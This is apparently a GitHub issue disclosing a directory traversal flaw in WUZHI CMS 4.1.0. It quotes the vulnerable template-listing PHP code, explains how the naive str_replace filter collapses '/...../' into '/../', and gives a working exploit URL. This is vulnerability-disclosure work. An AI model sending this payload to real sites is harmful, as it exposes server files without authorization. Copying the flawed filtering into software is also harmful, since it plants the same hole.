New issue

wuzhicms v4.1.0 /coreframe/app/template/admin/index.php directory traversal vulnerability #190

⊙ Open   **pwnninja** opened this issue on Mar 15, 2020 · 0 comments

pwnninja commented on Mar 15, 2020 • edited ▾

A directory traversal vulnerability was discovered in WUZHI CMS 4.1.0.
There is a directory traversal vulnerability which allows authenticated remote attackers to list files in arbitrary directory.
Vulnerability in /coreframe/app/template/admin/index.php:

```
private $db;
        function __construct() {
                $this->db = load_class('db');
                $this->dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
                $this->dir = str_ireplace( array('%2F','//'),'/',$this->dir);
        }
    public function listing() {
            $dir = $this->dir;
            $lists = glob(TPL_ROOT.$dir.'/'.'*');
            //if(!empty($lists)) rsort($lists);
            $cur_dir = str_replace(array( COREFRAME_ROOT ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('',DIRECTORY_SEPARATOR), TPL_ROOT.$dir.'/');
            $show_dialog = 1;
            include $this->template('listing');
    }
```

When str_replace() is called, the transformation of input data is as follows: /...../// -> /...// -> /../

Exploit:

```
http://127.0.0.1/wuzhicms/www/index.php?dir=/...../.../...../.../...../.../&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31
```


Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant